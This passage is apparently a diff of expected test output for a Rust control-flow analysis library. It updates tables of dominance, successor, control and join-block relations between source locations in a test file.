 | test.rs:330:13:330:24 | ...::None | test.rs:330:13:330:24 | ...::None |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee |
@@ -1278,17 +1224,14 @@ postDominance
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:336:13:336:21 | ExprStmt |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:340:26:340:26 | x |
-| test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:340:32:340:32 | x |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:341:13:341:24 | ...::None |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:335:9:342:9 | match ... { ... } |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:340:26:340:26 | x |
-| test.rs:335:9:342:9 | match ... { ... } | test.rs:340:32:340:32 | x |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:341:13:341:24 | ...::None |
 | test.rs:336:13:336:21 | ExprStmt | test.rs:336:13:336:21 | ExprStmt |
 | test.rs:338:13:338:23 | maybe_digit | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:340:26:340:26 | x | test.rs:340:26:340:26 | x |
-| test.rs:340:32:340:32 | x | test.rs:340:32:340:32 | x |
 | test.rs:341:13:341:24 | ...::None | test.rs:341:13:341:24 | ...::None |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:345:5:350:5 | enter fn test_match_and |
 | test.rs:346:9:349:18 | ... && ... | test.rs:345:5:350:5 | enter fn test_match_and |
@@ -1296,14 +1239,12 @@ postDominance
 | test.rs:346:9:349:18 | ... && ... | test.rs:346:10:349:9 | [boolean(false)] match r { ... } |
 | test.rs:346:9:349:18 | ... && ... | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
 | test.rs:346:9:349:18 | ... && ... | test.rs:347:18:347:18 | a |
-| test.rs:346:9:349:18 | ... && ... | test.rs:347:24:347:24 | a |
 | test.rs:346:9:349:18 | ... && ... | test.rs:348:13:348:13 | _ |
 | test.rs:346:9:349:18 | ... && ... | test.rs:349:15:349:18 | cond |
 | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:346:10:349:9 | [boolean(false)] match r { ... } |
 | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:348:13:348:13 | _ |
 | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
 | test.rs:347:18:347:18 | a | test.rs:347:18:347:18 | a |
-| test.rs:347:24:347:24 | a | test.rs:347:24:347:24 | a |
 | test.rs:348:13:348:13 | _ | test.rs:348:13:348:13 | _ |
 | test.rs:349:15:349:18 | cond | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
 | test.rs:349:15:349:18 | cond | test.rs:349:15:349:18 | cond |
@@ -1311,26 +1252,19 @@ postDominance
 | test.rs:353:9:356:9 | match r { ... } | test.rs:352:5:357:5 | enter fn test_match_with_no_arms |
 | test.rs:353:9:356:9 | match r { ... } | test.rs:353:9:356:9 | match r { ... } |
 | test.rs:353:9:356:9 | match r { ... } | test.rs:354:16:354:20 | value |
-| test.rs:353:9:356:9 | match r { ... } | test.rs:354:26:354:30 | value |
 | test.rs:353:9:356:9 | match r { ... } | test.rs:355:13:355:22 | Err(...) |
 | test.rs:354:16:354:20 | value | test.rs:354:16:354:20 | value |
-| test.rs:354:26:354:30 | value | test.rs:354:26:354:30 | value |
 | test.rs:355:13:355:22 | Err(...) | test.rs:355:13:355:22 | Err(...) |
 | test.rs:362:5:365:5 | enter fn test_let_match | test.rs:362:5:365:5 | enter fn test_let_match |
 | test.rs:363:18:363:18 | n | test.rs:362:5:365:5 | enter fn test_let_match |
 | test.rs:363:18:363:18 | n | test.rs:363:18:363:18 | n |
 | test.rs:363:39:363:53 | MacroStmts | test.rs:363:39:363:53 | MacroStmts |
-| test.rs:364:9:364:9 | n | test.rs:362:5:365:5 | enter fn test_let_match |
-| test.rs:364:9:364:9 | n | test.rs:363:18:363:18 | n |
-| test.rs:364:9:364:9 | n | test.rs:364:9:364:9 | n |
 | test.rs:367:5:373:5 | enter fn test_let_with_return | test.rs:367:5:373:5 | enter fn test_let_with_return |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:367:5:373:5 | enter fn test_let_with_return |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:369:18:369:20 | ret |
-| test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:369:26:369:28 | ret |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:370:13:370:16 | None |
 | test.rs:369:18:369:20 | ret | test.rs:369:18:369:20 | ret |
-| test.rs:369:26:369:28 | ret | test.rs:369:26:369:28 | ret |
 | test.rs:370:13:370:16 | None | test.rs:370:13:370:16 | None |
 | test.rs:378:5:381:5 | enter fn empty_tuple_pattern | test.rs:378:5:381:5 | enter fn empty_tuple_pattern |
 | test.rs:387:5:391:5 | enter fn empty_struct_pattern | test.rs:387:5:391:5 | enter fn empty_struct_pattern |
@@ -1435,10 +1369,8 @@ postDominance
 | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:461:9:464:9 | match pair { ... } |
-| test.rs:461:9:464:9 | match pair { ... } | test.rs:462:18:462:34 | MyStruct {...} |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:462:32:462:32 | _ |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:463:13:463:13 | _ |
-| test.rs:462:18:462:34 | MyStruct {...} | test.rs:462:18:462:34 | MyStruct {...} |
 | test.rs:462:32:462:32 | _ | test.rs:462:32:462:32 | _ |
 | test.rs:463:13:463:13 | _ | test.rs:463:13:463:13 | _ |
 | test.rs:475:5:481:5 | enter fn enum_pattern | test.rs:475:5:481:5 | enter fn enum_pattern |
@@ -1505,10 +1437,8 @@ postDominance
 | test.rs:585:18:591:5 | 'block: { ... } | test.rs:585:18:591:5 | 'block: { ... } |
 | test.rs:585:18:591:5 | 'block: { ... } | test.rs:587:18:587:18 | y |
 | test.rs:585:18:591:5 | 'block: { ... } | test.rs:588:13:588:27 | ExprStmt |
-| test.rs:585:18:591:5 | 'block: { ... } | test.rs:590:9:590:9 | 0 |
 | test.rs:587:18:587:18 | y | test.rs:587:18:587:18 | y |
 | test.rs:588:13:588:27 | ExprStmt | test.rs:588:13:588:27 | ExprStmt |
-| test.rs:590:9:590:9 | 0 | test.rs:590:9:590:9 | 0 |
 | test.rs:594:1:600:1 | enter fn test_nested_function2 | test.rs:594:1:600:1 | enter fn test_nested_function2 |
 | test.rs:596:5:598:5 | enter fn nested | test.rs:596:5:598:5 | enter fn nested |
 | test.rs:611:5:613:5 | enter fn new | test.rs:611:5:613:5 | enter fn new |
@@ -1551,9 +1481,8 @@ immediateDominator
 | test.rs:99:9:103:9 | while ... { ... } | test.rs:99:15:99:39 | let ... = ... |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:97:5:104:5 | enter fn test_while_let |
 | test.rs:99:24:99:24 | x | test.rs:99:15:99:39 | let ... = ... |
-| test.rs:100:13:102:13 | if ... {...} | test.rs:100:17:100:17 | x |
-| test.rs:100:17:100:17 | x | test.rs:99:24:99:24 | x |
-| test.rs:101:17:101:22 | ExprStmt | test.rs:100:17:100:17 | x |
+| test.rs:100:13:102:13 | if ... {...} | test.rs:99:24:99:24 | x |
+| test.rs:101:17:101:22 | ExprStmt | test.rs:99:24:99:24 | x |
 | test.rs:107:9:112:9 | for ... in ... { ... } | test.rs:107:13:107:13 | i |
 | test.rs:107:13:107:13 | i | test.rs:106:5:113:5 | enter fn test_for |
 | test.rs:108:13:110:13 | ExprStmt | test.rs:107:13:107:13 | i |
@@ -1566,12 +1495,10 @@ immediateDominator
 | test.rs:140:13:140:19 | ExprStmt | test.rs:137:5:143:5 | enter fn test_if_without_else |
 | test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:145:5:151:5 | enter fn test_if_let_else |
 | test.rs:146:21:146:21 | n | test.rs:145:5:151:5 | enter fn test_if_let_else |
-| test.rs:147:13:147:13 | n | test.rs:146:21:146:21 | n |
 | test.rs:149:13:149:13 | 0 | test.rs:145:5:151:5 | enter fn test_if_let_else |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:153:5:158:5 | enter fn test_if_let |
 | test.rs:154:9:156:9 | if ... {...} | test.rs:153:5:158:5 | enter fn test_if_let |
 | test.rs:154:21:154:21 | n | test.rs:153:5:158:5 | enter fn test_if_let |
-| test.rs:155:13:155:21 | ExprStmt | test.rs:154:21:154:21 | n |
 | test.rs:161:9:165:9 | if ... {...} else {...} | test.rs:160:5:166:5 | enter fn test_nested_if |
 | test.rs:161:13:161:48 | [boolean(false)] if ... {...} else {...} | test.rs:160:5:166:5 | enter fn test_nested_if |
 | test.rs:161:13:161:48 | [boolean(true)] if ... {...} else {...} | test.rs:160:5:166:5 | enter fn test_nested_if |
@@ -1682,36 +1609,29 @@ immediateDominator
 | test.rs:318:13:318:17 | false | test.rs:317:13:317:16 | true |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:326:5:332:5 | enter fn test_match |
 | test.rs:328:26:328:26 | x | test.rs:326:5:332:5 | enter fn test_match |
-| test.rs:328:32:328:32 | x | test.rs:328:26:328:26 | x |
-| test.rs:328:42:328:42 | x | test.rs:328:32:328:32 | x |
+| test.rs:328:42:328:42 | x | test.rs:328:26:328:26 | x |
 | test.rs:329:13:329:27 | ...::Some(...) | test.rs:326:5:332:5 | enter fn test_match |
 | test.rs:329:26:329:26 | x | test.rs:329:13:329:27 | ...::Some(...) |
-| test.rs:329:32:329:32 | x | test.rs:329:26:329:26 | x |
 | test.rs:330:13:330:24 | ...::None | test.rs:329:13:329:27 | ...::Some(...) |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:336:13:336:21 | ExprStmt | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee |
 | test.rs:338:13:338:23 | maybe_digit | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee |
 | test.rs:340:26:340:26 | x | test.rs:338:13:338:23 | maybe_digit |
-| test.rs:340:32:340:32 | x | test.rs:340:26:340:26 | x |
 | test.rs:341:13:341:24 | ...::None | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:346:9:349:18 | ... && ... | test.rs:345:5:350:5 | enter fn test_match_and |
 | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:345:5:350:5 | enter fn test_match_and |
-| test.rs:346:10:349:9 | [boolean(true)] match r { ... } | test.rs:347:24:347:24 | a |
+| test.rs:346:10:349:9 | [boolean(true)] match r { ... } | test.rs:347:18:347:18 | a |
 | test.rs:347:18:347:18 | a | test.rs:345:5:350:5 | enter fn test_match_and |
-| test.rs:347:24:347:24 | a | test.rs:347:18:347:18 | a |
 | test.rs:348:13:348:13 | _ | test.rs:345:5:350:5 | enter fn test_match_and |
 | test.rs:349:15:349:18 | cond | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
 | test.rs:353:9:356:9 | match r { ... } | test.rs:352:5:357:5 | enter fn test_match_with_no_arms |
 | test.rs:354:16:354:20 | value | test.rs:352:5:357:5 | enter fn test_match_with_no_arms |
-| test.rs:354:26:354:30 | value | test.rs:354:16:354:20 | value |
 | test.rs:355:13:355:22 | Err(...) | test.rs:352:5:357:5 | enter fn test_match_with_no_arms |
 | test.rs:363:18:363:18 | n | test.rs:362:5:365:5 | enter fn test_let_match |
 | test.rs:363:39:363:53 | MacroStmts | test.rs:362:5:365:5 | enter fn test_let_match |
-| test.rs:364:9:364:9 | n | test.rs:363:18:363:18 | n |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:367:5:373:5 | enter fn test_let_with_return |
 | test.rs:369:18:369:20 | ret | test.rs:367:5:373:5 | enter fn test_let_with_return |
-| test.rs:369:26:369:28 | ret | test.rs:369:18:369:20 | ret |
 | test.rs:370:13:370:16 | None | test.rs:367:5:373:5 | enter fn test_let_with_return |
 | test.rs:394:9:397:9 | match st { ... } | test.rs:393:5:398:5 | enter fn struct_pattern |
 | test.rs:395:27:395:27 | 1 | test.rs:393:5:398:5 | enter fn struct_pattern |
@@ -1757,8 +1677,7 @@ immediateDominator
 | test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 |
 | test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
-| test.rs:462:18:462:34 | MyStruct {...} | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
-| test.rs:462:32:462:32 | _ | test.rs:462:18:462:34 | MyStruct {...} |
+| test.rs:462:32:462:32 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
 | test.rs:463:13:463:13 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
 | test.rs:476:9:480:9 | match e { ... } | test.rs:475:5:481:5 | enter fn enum_pattern |
 | test.rs:477:32:477:32 | _ | test.rs:475:5:481:5 | enter fn enum_pattern |
@@ -1783,7 +1702,6 @@ immediateDominator
 | test.rs:585:18:591:5 | 'block: { ... } | test.rs:584:1:592:1 | enter fn labelled_block2 |
 | test.rs:587:18:587:18 | y | test.rs:584:1:592:1 | enter fn labelled_block2 |
 | test.rs:588:13:588:27 | ExprStmt | test.rs:584:1:592:1 | enter fn labelled_block2 |
-| test.rs:590:9:590:9 | 0 | test.rs:587:18:587:18 | y |
 controls
 | test.rs:18:5:24:5 | enter fn next | test.rs:20:13:20:13 | n | true |
 | test.rs:18:5:24:5 | enter fn next | test.rs:22:13:22:13 | 3 | false |
@@ -1822,8 +1740,8 @@ controls
 | test.rs:88:15:88:15 | b | test.rs:91:17:91:22 | ExprStmt | true |
 | test.rs:89:13:89:14 | ExprStmt | test.rs:90:13:92:13 | if ... {...} | false |
 | test.rs:89:13:89:14 | ExprStmt | test.rs:91:17:91:22 | ExprStmt | true |
-| test.rs:100:17:100:17 | x | test.rs:100:13:102:13 | if ... {...} | false |
-| test.rs:100:17:100:17 | x | test.rs:101:17:101:22 | ExprStmt | true |
+| test.rs:99:24:99:24 | x | test.rs:100:13:102:13 | if ... {...} | false |
+| test.rs:99:24:99:24 | x | test.rs:101:17:101:22 | ExprStmt | true |
 | test.rs:108:13:110:13 | ExprStmt | test.rs:108:13:110:13 | if ... {...} | false |
 | test.rs:108:13:110:13 | ExprStmt | test.rs:109:17:109:22 | ExprStmt | true |
 | test.rs:129:5:135:5 | enter fn test_if_else | test.rs:131:13:131:13 | 0 | true |
@@ -1964,16 +1882,15 @@ controls
 | test.rs:301:13:301:21 | [boolean(true)] ... && ... | test.rs:302:13:302:21 | ExprStmt | true |
 | test.rs:301:18:301:21 | true | test.rs:301:13:301:21 | [boolean(true)] ... && ... | true |
 | test.rs:301:18:301:21 | true | test.rs:302:13:302:21 | ExprStmt | true |
-| test.rs:328:32:328:32 | x | test.rs:328:42:328:42 | x | true |
+| test.rs:328:26:328:26 | x | test.rs:328:42:328:42 | x | true |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:335:9:342:9 | match ... { ... } | false |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:336:13:336:21 | ExprStmt | true |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:338:13:338:23 | maybe_digit | false |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:340:26:340:26 | x | false |
-| test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:340:32:340:32 | x | false |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:341:13:341:24 | ...::None | false |
 | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | test.rs:349:15:349:18 | cond | true |
-| test.rs:347:24:347:24 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | true |
-| test.rs:347:24:347:24 | a | test.rs:349:15:349:18 | cond | true |
+| test.rs:347:18:347:18 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | true |
+| test.rs:347:18:347:18 | a | test.rs:349:15:349:18 | cond | true |
 | test.rs:511:28:516:9 | enter { ... } | test.rs:512:13:514:13 | if b {...} | false |
 | test.rs:511:28:516:9 | enter { ... } | test.rs:513:17:513:41 | ExprStmt | true |
 | test.rs:529:5:537:5 | enter fn const_block_assert | test.rs:533:13:533:49 | ExprStmt | false |
@@ -2013,8 +1930,8 @@ successor
 | test.rs:88:15:88:15 | b | test.rs:89:13:89:14 | ExprStmt | true |
 | test.rs:89:13:89:14 | ExprStmt | test.rs:90:13:92:13 | if ... {...} | false |
 | test.rs:89:13:89:14 | ExprStmt | test.rs:91:17:91:22 | ExprStmt | true |
-| test.rs:100:17:100:17 | x | test.rs:100:13:102:13 | if ... {...} | false |
-| test.rs:100:17:100:17 | x | test.rs:101:17:101:22 | ExprStmt | true |
+| test.rs:99:24:99:24 | x | test.rs:100:13:102:13 | if ... {...} | false |
+| test.rs:99:24:99:24 | x | test.rs:101:17:101:22 | ExprStmt | true |
 | test.rs:108:13:110:13 | ExprStmt | test.rs:108:13:110:13 | if ... {...} | false |
 | test.rs:108:13:110:13 | ExprStmt | test.rs:109:17:109:22 | ExprStmt | true |
 | test.rs:129:5:135:5 | enter fn test_if_else | test.rs:131:13:131:13 | 0 | true |
@@ -2114,14 +2031,14 @@ successor
 | test.rs:301:13:301:21 | [boolean(false)] ... && ... | test.rs:301:9:303:9 | if ... {...} | false |
 | test.rs:301:13:301:21 | [boolean(true)] ... && ... | test.rs:302:13:302:21 | ExprStmt | true |
 | test.rs:301:18:301:21 | true | test.rs:301:13:301:21 | [boolean(true)] ... && ... | true |
-| test.rs:328:32:328:32 | x | test.rs:328:42:328:42 | x | true |
-| test.rs:328:32:328:32 | x | test.rs:329:13:329:27 | ...::Some(...) | false |
+| test.rs:328:26:328:26 | x | test.rs:328:42:328:42 | x | true |
+| test.rs:328:26:328:26 | x | test.rs:329:13:329:27 | ...::Some(...) | false |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:336:13:336:21 | ExprStmt | true |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:338:13:338:23 | maybe_digit | false |
 | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:346:9:349:18 | ... && ... | false |
 | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | test.rs:349:15:349:18 | cond | true |
-| test.rs:347:24:347:24 | a | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | false |
-| test.rs:347:24:347:24 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | true |
+| test.rs:347:18:347:18 | a | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | false |
+| test.rs:347:18:347:18 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | true |
 | test.rs:348:13:348:13 | _ | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | false |
 | test.rs:511:28:516:9 | enter { ... } | test.rs:512:13:514:13 | if b {...} | false |
 | test.rs:511:28:516:9 | enter { ... } | test.rs:513:17:513:41 | ExprStmt | true |
@@ -2160,9 +2077,8 @@ joinBlockPredecessor
 | test.rs:88:9:94:9 | while b { ... } | test.rs:91:17:91:22 | ExprStmt | 1 |
 | test.rs:88:15:88:15 | b | test.rs:86:5:95:5 | enter fn test_while | 1 |
 | test.rs:88:15:88:15 | b | test.rs:90:13:92:13 | if ... {...} | 0 |
-| test.rs:99:9:103:9 | while ... { ... } | test.rs:99:15:99:39 | let ... = ... | 1 |
-| test.rs:99:9:103:9 | while ... { ... } | test.rs:99:24:99:24 | x | 0 |
-| test.rs:99:9:103:9 | while ... { ... } | test.rs:101:17:101:22 | ExprStmt | 2 |
+| test.rs:99:9:103:9 | while ... { ... } | test.rs:99:15:99:39 | let ... = ... | 0 |
+| test.rs:99:9:103:9 | while ... { ... } | test.rs:101:17:101:22 | ExprStmt | 1 |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:97:5:104:5 | enter fn test_while_let | 1 |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:100:13:102:13 | if ... {...} | 0 |
 | test.rs:107:9:112:9 | for ... in ... { ... } | test.rs:107:13:107:13 | i | 1 |
@@ -2173,14 +2089,10 @@ joinBlockPredecessor
 | test.rs:130:9:134:9 | if ... {...} else {...} | test.rs:133:13:133:13 | n | 0 |
 | test.rs:139:9:141:9 | if b {...} | test.rs:137:5:143:5 | enter fn test_if_without_else | 1 |
 | test.rs:139:9:141:9 | if b {...} | test.rs:140:13:140:19 | ExprStmt | 0 |
-| test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:147:13:147:13 | n | 1 |
-| test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:149:13:149:13 | 0 | 0 |
-| test.rs:149:13:149:13 | 0 | test.rs:145:5:151:5 | enter fn test_if_let_else | 1 |
-| test.rs:149:13:149:13 | 0 | test.rs:146:21:146:21 | n | 0 |
+| test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:146:21:146:21 | n | 0 |
+| test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:149:13:149:13 | 0 | 1 |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:154:9:156:9 | if ... {...} | 1 |
-| test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:155:13:155:21 | ExprStmt | 0 |
-| test.rs:154:9:156:9 | if ... {...} | test.rs:153:5:158:5 | enter fn test_if_let | 1 |
-| test.rs:154:9:156:9 | if ... {...} | test.rs:154:21:154:21 | n | 0 |
+| test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:154:21:154:21 | n | 0 |
 | test.rs:161:9:165:9 | if ... {...} else {...} | test.rs:162:13:162:13 | 1 | 1 |
 | test.rs:161:9:165:9 | if ... {...} else {...} | test.rs:164:13:164:13 | 0 | 0 |
 | test.rs:161:13:161:48 | [boolean(false)] if ... {...} else {...} | test.rs:161:22:161:32 | [boolean(false)] { ... } | 1 |
@@ -2244,35 +2156,22 @@ joinBlockPredecessor
 | test.rs:316:9:319:9 | match ... { ... } | test.rs:317:21:317:24 | Some | 0 |
 | test.rs:316:9:319:9 | match ... { ... } | test.rs:318:13:318:17 | false | 1 |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:328:42:328:42 | x | 0 |
-| test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:329:32:329:32 | x | 1 |
+| test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:329:26:329:26 | x | 1 |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:330:13:330:24 | ...::None | 2 |
-| test.rs:329:13:329:27 | ...::Some(...) | test.rs:326:5:332:5 | enter fn test_match | 2 |
-| test.rs:329:13:329:27 | ...::Some(...) | test.rs:328:26:328:26 | x | 1 |
-| test.rs:329:13:329:27 | ...::Some(...) | test.rs:328:32:328:32 | x | 0 |
-| test.rs:330:13:330:24 | ...::None | test.rs:329:13:329:27 | ...::Some(...) | 1 |
-| test.rs:330:13:330:24 | ...::None | test.rs:329:26:329:26 | x | 0 |
+| test.rs:329:13:329:27 | ...::Some(...) | test.rs:326:5:332:5 | enter fn test_match | 1 |
+| test.rs:329:13:329:27 | ...::Some(...) | test.rs:328:26:328:26 | x | 0 |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:335:9:342:9 | match ... { ... } | 1 |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:336:13:336:21 | ExprStmt | 0 |
-| test.rs:335:9:342:9 | match ... { ... } | test.rs:340:32:340:32 | x | 0 |
+| test.rs:335:9:342:9 | match ... { ... } | test.rs:340:26:340:26 | x | 0 |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:341:13:341:24 | ...::None | 1 |
-| test.rs:341:13:341:24 | ...::None | test.rs:338:13:338:23 | maybe_digit | 0 |
-| test.rs:341:13:341:24 | ...::None | test.rs:340:26:340:26 | x | 1 |
 | test.rs:346:9:349:18 | ... && ... | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | 0 |
 | test.rs:346:9:349:18 | ... && ... | test.rs:349:15:349:18 | cond | 1 |
-| test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:347:24:347:24 | a | 0 |
+| test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:347:18:347:18 | a | 0 |
 | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | test.rs:348:13:348:13 | _ | 1 |
-| test.rs:348:13:348:13 | _ | test.rs:345:5:350:5 | enter fn test_match_and | 1 |
-| test.rs:348:13:348:13 | _ | test.rs:347:18:347:18 | a | 0 |
-| test.rs:353:9:356:9 | match r { ... } | test.rs:354:26:354:30 | value | 0 |
+| test.rs:353:9:356:9 | match r { ... } | test.rs:354:16:354:20 | value | 0 |
 | test.rs:353:9:356:9 | match r { ... } | test.rs:355:13:355:22 | Err(...) | 1 |
-| test.rs:355:13:355:22 | Err(...) | test.rs:352:5:357:5 | enter fn test_match_with_no_arms | 1 |
-| test.rs:355:13:355:22 | Err(...) | test.rs:354:16:354:20 | value | 0 |
-| test.rs:363:39:363:53 | MacroStmts | test.rs:362:5:365:5 | enter fn test_let_match | 1 |
-| test.rs:363:39:363:53 | MacroStmts | test.rs:363:18:363:18 | n | 0 |
-| test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:369:26:369:28 | ret | 0 |
+| test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:369:18:369:20 | ret | 0 |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:370:13:370:16 | None | 1 |
-| test.rs:370:13:370:16 | None | test.rs:367:5:373:5 | enter fn test_let_with_return | 1 |
-| test.rs:370:13:370:16 | None | test.rs:369:18:369:20 | ret | 0 |
 | test.rs:394:9:397:9 | match st { ... } | test.rs:395:34:395:34 | 0 | 0 |
 | test.rs:394:9:397:9 | match st { ... } | test.rs:396:13:396:26 | MyStruct {...} | 1 |
 | test.rs:396:13:396:26 | MyStruct {...} | test.rs:393:5:398:5 | enter fn struct_pattern | 1 |
@@ -2313,8 +2212,6 @@ joinBlockPredecessor
 | test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | 1 |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:462:32:462:32 | _ | 0 |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:463:13:463:13 | _ | 1 |
-| test.rs:463:13:463:13 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | 1 |
-| test.rs:463:13:463:13 | _ | test.rs:462:18:462:34 | MyStruct {...} | 0 |
 | test.rs:476:9:480:9 | match e { ... } | test.rs:477:32:477:32 | _ | 0 |
 | test.rs:476:9:480:9 | match e { ... } | test.rs:478:26:478:26 | _ | 1 |
 | test.rs:476:9:480:9 | match e { ... } | test.rs:479:13:479:23 | UnitVariant | 2 |
@@ -2327,7 +2224,5 @@ joinBlockPredecessor
 | test.rs:569:18:580:5 | 'block: { ... } | test.rs:572:13:572:27 | ExprStmt | 0 |
 | test.rs:569:18:580:5 | 'block: { ... } | test.rs:575:9:577:9 | if ... {...} | 2 |
 | test.rs:569:18:580:5 | 'block: { ... } | test.rs:576:13:576:27 | ExprStmt | 1 |
+| test.rs:585:18:591:5 | 'block: { ... } | test.rs:587:18:587:18 | y | 1 |
 | test.rs:585:18:591:5 | 'block: { ... } | test.rs:588:13:588:27 | ExprStmt | 0 |
-| test.rs:585:18:591:5 | 'block: { ... } | test.rs:590:9:590:9 | 0 | 1 |
-| test.rs:588:13:588:27 | ExprStmt | test.rs:584:1:592:1 | enter fn labelled_block2 | 1 |
-| test.rs:588:13:588:27 | ExprStmt | test.rs:587:18:587:18 | y | 0 |
diff --git a/rust/ql/test/library-tests/controlflow/Cfg.expected b/rust/ql/test/library-tests/controlflow/Cfg.expected
index 607bdc8b1ef9..dbb77ca94168 100644
--- a/rust/ql/test/library-tests/controlflow/Cfg.expected
+++ b/rust/ql/test/library-tests/controlflow/Cfg.expected
@@ -203,7 +203,6 @@ edges
 | test.rs:99:15:99:39 | let ... = ... | test.rs:99:29:99:32 | iter |  |
 | test.rs:99:19:99:25 | Some(...) | test.rs:99:9:103:9 | while ... { ... } | no-match |
 | test.rs:99:19:99:25 | Some(...) | test.rs:99:24:99:24 | x | match |
